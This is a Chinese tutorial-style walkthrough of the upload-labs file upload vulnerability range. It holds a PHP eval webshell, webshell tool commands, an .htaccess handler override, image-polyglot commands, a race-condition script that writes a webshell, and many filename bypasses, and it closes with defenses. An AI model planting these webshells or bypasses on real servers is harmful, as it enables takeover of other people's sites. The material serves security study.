5-文件上传漏洞

news/2024/12/2 18:51:48/文章来源:https://www.cnblogs.com/monster-hang/p/18582483

1、文件上传漏洞原理

1.1 一句话木马

<?php @eval($_POST['xu']); ?>
其中@表示忽略错误,eval()函数表示把传进去的字符串作为php代码执行
从http post里面拿到参数叫xu的value,然后作为代码去执行,并忽略错误

2、Webshell介绍

一句话木马、大马、小马、图片马都是webshell中的一种
收集:https://github.com/tennc/webshell

3、网站控制工具

中国菜刀
中国蚁剑 https://github.com/AntSwordProject/antSword
weevely https://github.com/epinna/weevely3
哥斯拉 godzilla https://github.com/BeichenDream/Godzilla
冰蝎 behinder https://github.com/rebeyond/Behinder

3.1 中国蚁剑

右键添加

3.2 weevely

是一个Kali自带的命令行工具

生成一句话木马:weevely generate xu weevely.php
连接:weevely http://ip/xxx.php xu

3.3 哥斯拉

下载出来是一个jar包
启动:java -jar Godzilla.jar
管理 -> 生成webshell

3.4 冰蝎

启动:java -jar Behinder.jar
他的shell是现成的,在server文件夹中
密码默认是,rebeyond

4、文件上传漏洞

文件上传漏洞是指用户上传了一个可执行的脚本文件,而且通过这个脚本文件获得了执行服务器端命令的能力。

5、文件上传漏洞靶场安装

6、文件上传漏洞靶场练习

6.1 第一关

观察发现,属于JS代码前端检查checkfile()
可以直接删除前端代码,绕过检查

6.2 第二关

属于php后端校验,检查文件类型,在http请求中的MIME字段。

6.2.1 MIME用法

MIME 描述
text/html HTML格式
application/json JSON数据格式
multipart/form-data 文件上传(二进制数据)
image/jpeg jpg图片格式

客户端使用:
1、GET请求不需要这个字段
2、POST请求头,放在Content Type字段用来指定上传的文件类型,方便服务器解析。放在Accept,告诉服务端允许接收的相应类型。比如只能接受json或者其他

服务端使用:
1、放在响应头里面,Conetent Type告诉客户端相应的数据类型,方便客户端解析

绕过方式:通过抓包修改MIME数据类型,修改Content-Type为image/jpeg

6.3 第三关

前两关是白名单验证,这关是黑名单
绕过方式:等价拓展名

语言 等价拓展名
asp asa,cer,cdx
aspx ashx,asmx,ascx
php php2,php3,php4,php5,phps,phtml
jsp jspx,jspf

提示:复现要的话,php不能是nts非线性版本。并添加http.conf代码:AddType application/x-httpd-php .php .phtml .php3 .php5

6.4 第四关

黑名单更全
思路:把php文件重命名为jpg后缀,并上传到服务器,想办法让服务器解析它

6.4.1 Hypertext Access(.htaccess)

超文本入口,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。
通过.htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件拓展名、允许/组织特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

伪静态 如discuz框架
https://www.52pojie.cn/thread-150418-1-1.html
https://www.52pojie.cn/thread.php?id=1530418&page=1
其实是通过thread.php把参数传给后端,然后从数据库中取出
通过htaccess转变

绕过:所以只需要再上传一个.htaccess文件即可
<FilesMatch "post.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

6.5 第五关(第五关是后面加入的,先跳过)

6.6 第六关

限制了第四关的方法,审计对比代码,发现少了大小写绕过
上传post.PHP即可

6.7 第七关

审计对比代码,发现少了首尾去空格绕过

但是由于windows操作系统,在文件末尾加空格会自动删除,所以通过抓包改包

6.8 第八关

审计对比代码,发现少了删除文件名末尾的点绕过

由于windows操作系统,不允许只有文件名没有后缀名,但是允许只有后缀名没有文件名,所以通过抓包改包

6.9 第九关

审计对比代码,发现少了去除字符串::$DATA绕过

抓包,在后面加上::$DATA

6.10 第十关

审计对比代码,先删除文件名末尾的点,再去除首尾空格

可以考虑"post.php. ."绕过1

6.11 第十一关

审计代码,发现当出现黑名单里的内容时,直接替换成空

考虑双写绕过"post.pphphp"

6.12 第十二关

通过抓包,发现上传路径可控,可以从前端参数修改

文件名截断绕过%00

自动拼接成../upload/post.php%00post.png

6.13 第十三关

变成了POST请求,由于不在url中,所以%00不能用,用十六进制的00

6.14 第十四关

只检查图标内容开头的2个字节

常见文件的文件头标志 "https://cnblogs.com/WangAoBo/p/6366211.html"
windows制作图片马:copy photo.png /b + post.php /a shell.png
linux制作图片马:cat photo.png post.php > shell.png

上传成功后,使用文件包含漏洞运行图片马
发现include.php页面,且包含参数file
测试连接http://127.0.0.1/upload-labs/include.php?file=upload/4320241202075533.png

6.15 第十五关

使用了一个getimagesize()函数,用来判断是不是有效的图片,没区别

6.16 第十六关

跟十四关相比,多了一个exif_imagetype()函数,但是功能一样,读取文件的第一个字节并检查其签名,没区别

6.17 第十七关

提示:使用imagecreatefromjpeg,对图片进行了重新渲染
使用了一个basename()函数,返回基本的文件名。
在处理中,关键使用了imagecreatefromjpeg()函数,用你的图片创建一个新的图像

虽然上传成功了,但是一句话木马被二次渲染删除了
思路:用别人做好的图片上传

6.18 第十八关

进行代码审计

由于文件会先被上传,然后在进行判断,存在时间差
思路:上传一个PHP文件,该文件会生成一句话木马PHP文件

条件竞争competition.php:<?php fputs(fopen('xu.php','w'),'<?php @eval($_POST["xu"])?>');?>

但是出现新的问题,我们还没访问competition.php它就被删除了
解决方法:BP抓包send to intruder不断爆破,然后写python代码不断访问,总有一次可以上传成功

设置最大20个并发线程

然后不断访问competition.php的URL地址

import requests
url = "http://localhost/upload-labs/upload/competition.php"
while True:html = requests.get(url)if html.status_code == 200:print("OK")break

6.19 第十九关

进行代码审计
包含了一个myupload.php的文件,白名单
思路:假如文件上传足够快,后端服务器处理不过来,导致文件上传了,但是没有被重命名

shell.php.7z利用解析apache的漏洞,会把文件当成第一个后缀

6.20 第二十关

提示:取文件名通过$_POST来获取。
查看源码,黑名单控制,从post请求中获取自己编辑的'save_name'

思路:利用move_uploaded_file()函数的漏洞,在文件名后面加上/.会自动忽略
当它对比黑名单的时候post.php/.就会无法命中

6.21 第二十一关、

审计代码!

思路:BP抓包先修改MIME类型,save_name要组成一个数组,关键是 $file_name = reset($file) . '.' . $file[count($file) - 1];要让cont-1处的数组为空,这样就不会拼接东西


7、文件上传漏洞发现与利用

若没有文件上传功能:

Redis KV 持久化+未授权访问漏洞(没有配置密码)
内存的内容会同步到磁盘中,写入一句话木马

MySQL 读写 select into file ...

绕过总结:
删除/禁用JS、修改MIME、等价拓展名、大小写绕过、htaccess、双写、空格、点、::$DATA、%00截断、0x00截断、图片马、条件竞争等等

自动化https://github.com/almandin/fuxploider

8、文件上传漏洞防御

8.1 文件上传漏洞发生前提

1、网站上传功能能正常使用
2、文件类型允许上传
3、上传路径可以确定
4、文件可以被访问,可以被执行或被包含的权限

8.2 防御措施

1、扩展名(后缀)黑白名单
2、MIME类型校验(image/jepg)
3、文件内容头校验(GIF89a)
4、对文件内容进行二次渲染
5、对上传的文件重命名,不易被猜测
6、不要暴露上传文件的位置
7、禁用上传文件的执行权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/845564.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

纯血鸿蒙进程加速,混合app开发迎来又一波新机会

对于开发者来说,未来相当一段时间,将来会为鸿蒙,安卓,IOS三个系统同时开发APP上架,其中面对全新的鸿蒙系统,百万APP在未来几年会重新开发上架。 鸿蒙SDK厂商及App开发团队,迎来新的市场机遇。时间不知不觉又来到了2024年最后一个月,又到了辞旧迎新,复盘今年,放眼明年…

实验五 继承和多态

实验一: 代码: publisher.hpp:1 #pragma once2 3 #include<iostream>4 #include<string>5 6 using std::cout;7 using std::endl;8 using std::string;9 10 class Publisher { 11 public: 12 Publisher(const string& s = ""); 13 14 public…

博客园-添加统计图

💖简介 通过WPS在线列表构建博客园每日相关数据统计图。 👉效果📖实现前往WPShttps://www.kdocs.cn/latest新建多维表格 创建表格视图新建仪表盘 新建卡片、折线图卡片配置示例折线图配置示例点击分享获取链接⭐链接配置在config中配置link{icon: <svg t="173313…

华为技术专家出品,《华为开发者空间案例指南》带你玩转云上20+场景应用开发

免费领取云主机,开启你的云上开发之旅,分享体验将有机会赢取精美礼品。 关键词:开发者空间、AI、鲲鹏、Serverless随时随地都能开启开发之旅,这是一种怎样奇妙的体验?想象一下,无需安装繁琐的 IDE,也不用搭建复杂的开发环境,只需开机,就能迅速投入项目开发。在华为开发…

jQuery和CSS3折叠卡片式下拉列表框特效

这是一款使用JQUERY和CSS3制作的效果非常炫酷的折叠卡片式下拉列表框特效。该下拉列表框特效将每一个列表项都制作为卡片的样式,打开和关闭它有打开和关闭百叶窗的感觉,效果非常不错。预览 下载使用方法HTML结构 该下拉列表框特效的列表项使用一个无序列表来制作,用于切换…

幂等设计:确保操作的安全与可靠

目录一、概述1.1、什么是幂等1.2、为什么需要幂等?二、幂等如何设计实现幂等的8 种方案select+insert+主键/唯一索引冲突状态机幂等抽取防重表token令牌悲观锁(如select for update)乐观锁分布式锁三、HTTP的幂等 一、概述 在分布式系统和微服务架构中,确保操作的安全性和可靠…

从仪表盘探索 MongoDB 关键指标

这是 MongoDB 监控系列文章的第七篇,前面几篇文章的链接如下:MongoDB 监控(一) MongoDB 监控(二) MongoDB 监控(三) MongoDB 监控(四) MongoDB 监控(五) MongoDB 监控(六)按照前面系列文章,我们已经采集到 MongoDB 的监控数据了,并且通过 Grafana 和 Nightinga…

微服务引擎 MSE 及云原生 API 网关 2024 年 10 月产品动态

微服务引擎 MSE 及云原生 API 网关 2024 年 10 月产品动态

20222425 2024-2025-1 《网络与系统攻防技术》实验七实验报告

1.实验内容 本周学习内容:本周我们学了web安全的章节,首先我们了解了前端和后端技术,其次我们学习了一些web安全攻防的内容,例如SQL注入和XSS跨站脚本攻击、CSRF以及安全防范的内容。在实验的过程中我们学到了网络欺诈与防范技术。 2.实验过程 主机IP:192.168.35.1 kali(…

基于Bootstrap3的简单柱状图表插件

jchart是一款简单小巧的基于Bootstrap3.x的jquery柱状图表插件。该柱状图片表插件通过简单的设置,就可以生成非常漂亮的水平柱状图,并带有水平和垂直标签以及图表的头部和尾部。 在线演示 下载 使用方法 该jQuery柱状图插件可以通过javascript来调用,也可以直接使用HTML标…

编译OpenCV——jetson嵌入式平台

jetson嵌入式平台的系统为:ubuntu20.04 aarch64 不再研究Ubuntu x64上交叉编译ubuntu aarch64的OpenCV库,因为无法识别到arm的GTK导致编译不进去,最终imshow时会报如下错误:modules/highgui/src/window.cpp:611:error: (-2) The function is not implemented. Rebuild the …